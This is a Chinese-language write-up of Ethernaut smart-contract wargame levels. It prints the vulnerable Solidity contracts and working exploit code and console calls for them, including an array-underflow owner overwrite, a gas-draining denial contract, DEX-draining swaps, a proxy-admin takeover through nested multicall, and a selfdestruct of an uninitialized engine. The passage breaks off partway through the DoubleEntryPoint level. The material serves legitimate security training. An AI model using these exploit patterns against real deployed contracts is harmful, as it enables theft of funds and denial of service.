https://medium.com/@flores.eugenio03/exploring-the-storage-layout-in-solidity-and-how-to-access-state-variables-bf2cbc6f8018

https://ethereum.stackexchange.com/questions/63403/in-solidity-how-does-the-slot-assignation-work-for-storage-variables-when-there

https://docs.soliditylang.org/en/latest/internals/layout_in_storage.html

https://github.com/ethereum/solidity/issues/4802

首先要知道动态数组在 Solidity Storage 内的布局

例如数组长度的 slot 为 1, 则计算公式如下

1
2
3
4
function getSlotForArrayElement(uint256 _elementIndex) public pure returns (bytes32) {
    bytes32 startingSlotForArrayElements = keccak256(abi.encode(1));
    return bytes32(uint256(startingSlotForArrayElements) + _elementIndex);
}

数组内每个元素的 slot 位置即为 keccak256(abi.encode(1)) 的值 (也就是数组内第一个元素的 slot 位置) 加上自身的 index

其次, Solidity 会按照父类从左至右再到子类的顺序依次为其分配 slot

题目的 AlienCodex 合约继承自 Ownable

https://github.com/OpenZeppelin/ethernaut/blob/master/contracts/src/helpers/Ownable-05.sol

该合约内部有一个 _owner 变量, 结合 AlienCodex 合约自身的变量, 可以得到如下的 storage layout

  • slot 0: contract (bool) + _owner (address)
  • slot 1: length of codex

最后需要知道上面给出的 issues, 感觉像是旧版本 Solidity 的一个缺陷?

动态数组的 length 属性是可修改的, 如果执行 array.length-- 相当于删除数组的最后一个元素

同时这个地方存在溢出的风险, 即如果 length = 0 时, 仍然进行减法操作, 那么最终数组的大小会变成 2^256-1

2^256-1 正好是 Solidity 中所有 slot 的数量

然后因为 getSlotForArrayElement 计算数组内某个元素的 slot 时需要加上 index, 这里也存在溢出的风险, 所以可以控制 index 的值使得这个最终的 slot 溢出为 0, 进而间接修改 _owner 变量的值

理一下思路, 先对原来的代码进行修改, 增加 show, length, getSlotForArrayElement 函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "https://github.com/OpenZeppelin/ethernaut/blob/master/contracts/src/helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }

    function show(uint256 i) public view returns (bytes32) {
        return codex[i];
    }

    function length() public view returns (uint256) {
        return codex.length;
    }

    function getSlotForArrayElement(uint256 _elementIndex) public pure returns (bytes32) {
        bytes32 startingSlotForArrayElements = keccak256(abi.encode(1));
        return bytes32(uint256(startingSlotForArrayElements) + _elementIndex);
    }
}
  1. 调用 makeContact

  2. 调用 retract, 使得数组长度溢出为 2^256-1

  3. 调用 length, 此时返回的长度为 115792089237316195423570985008687907853269984665640564039457584007913129639935, 即 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

  4. 调用 getSlotForArrayElement(0), 得到第一个元素的 slot, 即 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6

  5. 计算 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 的差, 得到 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f309, 即 35707666377435648211887908874984608119992236509074197713628505308453184860937

  6. 这个 index 对应值为 slot 0, 再加 1 即为 slot 1

  7. 调用 revise 修改这个 index 对应的内容为 0x000000000000000000000001<address>

Solution

1
2
3
4
5
6
7
8
// set contact = true
await contract.makeContact();

// underflow the array
await contract.retract();

// out-of-bounds write the _owner
await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938', '0x00000000000000000000000122D82dA15685DE3757F8650c684C051A9BD94FC4');

Denial

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

条件: 在 owner 调用 withdraw 时拒绝提取资金 (合约仍有资金, 并且交易的 gas 少于 1M)

其实就是在 receive/fallback 里写一个死循环将 gas 耗尽, 这样后续调用 transfer 转账的时候就会 revert

Solution

1
2
3
4
5
6
7
8
9
contract Attack {
    uint256 counter = 0;

    receive() external payable {
        while (true) {
            counter ++;
        }
    }
}
1
await contract.setWithdrawPartner('0x3f06684e57D8Cb82B296ce438aFcaFCB3BfddD5d');

Shop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint256);
}

contract Shop {
    uint256 public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}

条件: 以低于要求的价格购买到商品 (isSold = true && price < 100)

这道题的思路跟 Elevator 差不多, 不过区别在于 price 函数被 Buyer 接口设置为 view, 无法通过状态变量记录调用次数

但可以通过 Shop 合约里的 isSold 绕过

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint256);
}

// ...

contract MyBuyer is Buyer {
    Shop shop;

    constructor(address addr) {
        shop = Shop(addr);
    }

    function price() external view returns (uint256) {
        if (shop.isSold() == false) {
            return 101;
        } else {
            return 99;
        }
    }

    function buy() external {
        shop.buy();
    }
}

Dex

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract Dex is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function addLiquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public {
        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapPrice(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableToken(token1).approve(msg.sender, spender, amount);
        SwappableToken(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableToken is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

条件: 设法从合约中取出两个代币中的至少一个, 并让合约得到一个的 “坏” 的 token 价格

恶补了下 dex 相关的知识

dex 的基本原理是将一对代币加入流动池以提供流动性, 这样就可以实现两种代币之间的交换, 交换的价格是根据流动池内代币的比例动态计算的

对于这道题来说, 流动池内一对代币 X 和 Y 之间的汇率与这两种代币在流动池内的总量成反比

比如池子里有 100 X 和 10 Y, 那么汇率就是 1 Y = 10 X

如果流动池内代币 X 的总量增大, 那么 X 相对于 Y 在贬值, 即每个 X 能兑换的 Y 会变少

相反, 如果 X 的总量减少, 那么 X 相对于 Y 在升值, 即每个 X 能兑换的 Y 会变多

题目不能够手动修改 token1 或 token2 的地址

然后虽然 addLiquidity 函数被限制了 onlyOwner, 但实际上仍然可以通过手动调用 token1/token2 合约的方式来强制添加流动性, 不过这个点具体怎么利用目前还没怎么想到

getSwapPrice 用于动态计算用代币 from 兑换 to 时的价格

1
2
3
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
    return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}

缺陷在于 Solidity 没有浮点数, 整数之间相除得到的结果会被去整, 即丢掉后面的小数位数

https://blog.dixitaditya.com/ethernaut-level-22-dex

dex user
token1 token2 token1 token2
100 100 10 10
110 90 0 20
86 110 24 0
110 80 0 30
69 110 41 0
110 45 0 65
0 90 110 20

当用户在 token1 和 token2 之间来回兑换时, 可以看到每次能拿到的代币数量其实是在变多的, 这样多倒几次最终就能将 dex 池内某一类型的代币搬空

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
let token1 = await contract.token1();
let token2 = await contract.token2();

await contract.approve(instance, 1000);

await contract.swap(token1, token2, 10);
await contract.swap(token2, token1, 20);
await contract.swap(token1, token2, 24);
await contract.swap(token2, token1, 30);
await contract.swap(token1, token2, 41);

// swap with 45 token2 because 65 * 110 / 45 = 158 > 110 and 46 * 110 / 45 = 110
await contract.swap(token2, token1, 45);

// should return 0
(await contract.balanceOf(token1, instance)).toString();

Dex Two

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract DexTwo is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function add_liquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public {
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapAmount(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
        SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableTokenTwo is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

条件: 从 DexTwo 合约中提取 token1 和 token2 的所有余额

默认池子里 token1 和 token2 的数量都是 100 个, 用户 token1 和 token2 各有 10 个

这题与 Dex 的区别在于 swap 函数没有了对 from 和 to 代币地址的限制, 这表示我们可以利用自己发行的代币与 dex 内的 token1/token2 交换

dex user
token1 token2 token3 token1 token2 token3
100 100 1 10 10 1
0 100 2 110 10 0

我们直接向池子里注入 1 个 token3, 然后根据其与 token1 的比例, 得到 1 token3 = 100 token1, 直接将 token1 搬空, token2 同理

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Token3 is ERC20 {

    constructor() ERC20("Token3", "Token3") { }

    function mint(address account, uint256 value) external {
        _mint(account, value);
    }

    function burn(address account, uint256 value) external {
        _burn(account, value);
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
let token1 = await contract.token1();
let token2 = await contract.token2();
let token3 = '0xFDD24890B656aa504269F395F7c9549569482E44';

// token3.mint(player, 2);
// token3.mint(instance, 1);
// token3.approve(instance, 1000);

// approve token1 and token2
await contract.approve(instance, 1000);

// swap all token1
await contract.swap(token3, token1, 1);
// check token1 balance in contract
(await contract.balanceOf(token1, instance)).toString();

// token3.burn(instane, 1);

// swap all token2
await contract.swap(token3, token2, 1);
// check token2 balance in contract
(await contract.balanceOf(token1, instance)).toString();

Puzzle Wallet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData)
        UpgradeableProxy(_implementation, _initData)
    {
        admin = _admin;
    }

    modifier onlyAdmin() {
        require(msg.sender == admin, "Caller is not the admin");
        _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted() {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
        require(address(this).balance == 0, "Contract balance is not 0");
        maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
        require(address(this).balance <= maxBalance, "Max balance reached");
        balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success,) = to.call{value: value}(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success,) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

条件: 成为代理的管理员

这道题使用了 PuzzleProxy 作为代理合约, 实际的逻辑合约为 PuzzleWallet

https://github.com/OpenZeppelin/ethernaut/blob/master/contracts/src/helpers/UpgradeableProxy-08.sol

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/proxy/Proxy.sol

控制台 contract 变量返回的其实是 PuzzleProxy 合约的实例, 只不过将 ABI 更改成了 PuzzleWallet 的 ABI, 即如果想要调用 PuzzleProxy 内的方法, 需要手动 sendTransaction

1
2
// invoke PuzzleProxy.admin()
await web3.eth.sendTransaction({from: player, to: instance, data: "0xf851a440"});

https://app.blocksec.com/explorer/tx/sepolia/0x32f0886630d13baa547d45408700ba66ff8911e74fe8691ae04875ef28483670

PuzzleProxy 存储布局

slot variable
0 pendingAdmin (20 bytes)
1 admin (20 bytes)

虽然 PuzzleProxy 的父类 UpgradeableProxy 定义了 _IMPLEMENTATION_SLOT, 但是 constant 和 immutable 常量并不会存储到 EVM Storage, 而是直接存储在字节码里面

https://medium.com/@ajaotosinserah/a-comprehensive-guide-to-implementing-constant-and-immutable-variables-in-solidity-4026ebadc6aa

UpgradeableProxy 合约的 implementation 函数 (getter/setter) 会将逻辑合约的地址存储至 index 为 _IMPLEMENTATION_SLOT 的 slot

PuzzleWallet 存储布局

slot variable
0 owner (20 bytes)
1 maxBalance (32 bytes)
2 0x0 (32bytes)
3 0x0 (32bytes)

声明 mapping 的 slot 不储存任何信息, 因此内容为 0x0

注意到 PuzzleProxy 和 PuzzleWallet 的存储布局是重叠的, 实际上以 delegatecall 的视角来看, PuzzleWallet 操作的 owner 和 maxBalance 变量就是 PuzzleProxy 的 pendingAdmin 和 admin

因此通过调用 PuzzleProxy 的 proposeNewAdmin 函数就能修改 PuzzleWallet 的 owner

后续是一个关于 multicall 的逻辑缺陷

要想修改 PuzzleProxy 的 admin, 不能直接通过 PuzzleProxy 的函数实现, 必须得寻找 PuzzleWallet 操作 maxBalance 的相关函数

对于 PuzzleWallet 来说, 修改 maxBalance 的值需要将当前合约的余额清零, 也就是说需要使用 execute 函数将 ETH 转移到其它账户上

合约实现了 multicall, 用于在一次 transaction 中进行多次 delegatecall, 这里的缺陷在于 msg.value 使用不当, 因为 delegatecall 会继承调用者的 msg.value

如果 multicall 调用了两次 deposit, 那么即使用户只发送了 0.001 ETH, 最终的 balances 也会被计算成 0.002 ETH, 利用这一点就可以将合约上不属于当前用户的 ETH 转出

最后需要绕过题目合约的 multicall 对于多次调用 deposit 的防护措施, 思路很简单, 因为 depositCalled 是局部变量, 所以只需要在一次 multicall 内再分别调用两次 multicall, 然后这两次的 multicall 内再分别调用一次 deposit 即可

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// invoke PuzzleProxy.proposeNewAdmin() to change `owner` in PuzzleWallet
await web3.eth.sendTransaction({from: player, to: instance, data: 'a637674600000000000000000000000022d82da15685de3757f8650c684c051a9bd94fc4'});

// add player to whitelist
await contract.addToWhitelist(player);

// multicall calldata
let multicall = 'ac9650d8000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000a4ac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4ac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000';

// invoke multicall x2, and each multicall will invoke deposit
// msg.value will be used twice (add 0.002 eth), but we only need to send it once (0.001 eth)
await web3.eth.sendTransaction({from: player, to: instance, data: multicall, value: toWei('0.001')});

// check balance of player, should be 0.002 eth
(await contract.balances(player)).toString();

// transfer contract balance to player
await contract.execute(player, toWei('0.002'), '0x0');

// check balance of contract, shoule be zero
(await contract.balances(instance)).toString();

// change `admin` in PuzzleProxy
await contract.setMaxBalance(player);

Motorbike

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    struct AddressSlot {
        address value;
    }

    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`.
    // Will run if no other function in the contract matches the call data
    fallback() external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }

    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

条件: 自毁 (selfdestruct) 它的引擎并使摩托车无法使用

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/8e0296096449d9b1cd7c5631e917330635244c37/contracts/proxy/Initializable.sol

Motorbike 在实例化时会通过 delegatecall 调用 Engine 的 initialize 函数进行初始化 (仅能执行一次)

这道题的关键在于上述的 delegatecall, 即 Engine 合约自身的状态是没有被初始化的 (upgrader 为空), 这代表我们可以手动调用 Engine 合约的 initalize 函数, 然后调用 upgradeToAndCall

upgradeToAndCall 内部最终会通过 delegatecall 进行一次调用, 通过这个特性可以 selfdestruct Engine 合约

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
    function hack(address engine, address killer) external {
        bytes memory data = abi.encodeWithSignature("kill()");
        engine.call(abi.encodeWithSignature("initialize()"));
        engine.call(abi.encodeWithSignature("upgradeToAndCall(address,bytes)", killer, data));
    }
}

contract Killer {
    function kill() external {
        selfdestruct(payable(msg.sender));
    }
}

https://sepolia.etherscan.io/tx/0x69bb038ecc2f6129fec71a34947adc25f76c1c1211978a98d9ba024db9f32e73#statechange

https://sepolia.etherscan.io/address/0x5e4b3a32fbe4f80f42edaf3b5da1695db1a1eae3#internaltx

https://app.blocksec.com/explorer/tx/sepolia/0x900ae5882a9e0efe5083ec80cc660704d525d463b4d3c637c4e5129e256b8c97

不过这道题目前好像有点问题, 无法提交答案, 详情见 issue

https://github.com/OpenZeppelin/ethernaut/issues/701

DoubleEntryPoint

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

interface DelegateERC20 {
    function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Forta is IForta {
    mapping(address => IDetectionBot) public usersDetectionBots;
    mapping(address => uint256) public botRaisedAlerts;

    function setDetectionBot(address detectionBotAddress) external override {
        usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
    }

    function notify(address user, bytes calldata msgData) external override {
        if (address(usersDetectionBots[user]) == address(0)) return;
        try usersDetectionBots[user].handleTransaction(user, msgData) {
            return;
        } catch {}
    }

    function raiseAlert(address user) external override {
        if (address(usersDetectionBots[user]) != msg.sender) return;
        botRaisedAlerts[msg.sender] += 1;
    }
}

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;

    constructor(address recipient) {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if (forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(address to, uint256 value, address origSender)
        public
        override
        onlyDelegateFrom
        fortaNotify
        returns (bool)
    {
        _transfer(origSender, to, value);
        return true;
    }
}

条件: 编写 detection bot 以防止 CryptoVault 的代币耗尽

CryptoVault 的 sweepToken 可以将 vault 内除 underlying (DET) 以外的代币提走

LegacyToken (LGT) 代币的 transfer 被 delegate 给了 DoubleEntryPoint (DET) 代币

Forta 合约的 bot 可以实现对某些函数的 calldata 的检测, 当满足一定条件时会 alert (回滚交易)

一开始看了好几遍都不知道这题要考啥

